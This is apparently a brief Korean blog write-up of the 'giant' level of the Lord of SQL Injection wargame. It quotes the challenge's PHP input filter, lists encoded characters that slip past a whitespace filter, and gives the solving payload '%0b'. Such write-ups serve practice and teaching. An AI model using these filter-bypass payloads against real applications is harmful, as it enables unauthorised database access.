Un_Woo
LOS giant 본문
14. giant
if(strlen($_GET[shit])>1) exit("No Hack ~_~");
shit 길이<=1
if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe");
\n, \r,
\t, 스페이스바 필터링
$query = "select 1234 from{$_GET[shit]}prob_giant where 1";
if($result[1234]) solve("giant");
스페이스바 우회 -> %0a, %09, %0b, %0c, %0d, /**/
%0b, %0c로 우회 가능
?shit=%0b
'Web > Lord of Sql Ingection' 카테고리의 다른 글
LOS bugbear (0) | 2018.04.11 |
---|---|
LOS darkknight (0) | 2018.04.11 |
LOS golem (0) | 2018.04.11 |
LOS skeleton (0) | 2018.04.11 |
LOS vampire (0) | 2018.04.11 |
Comments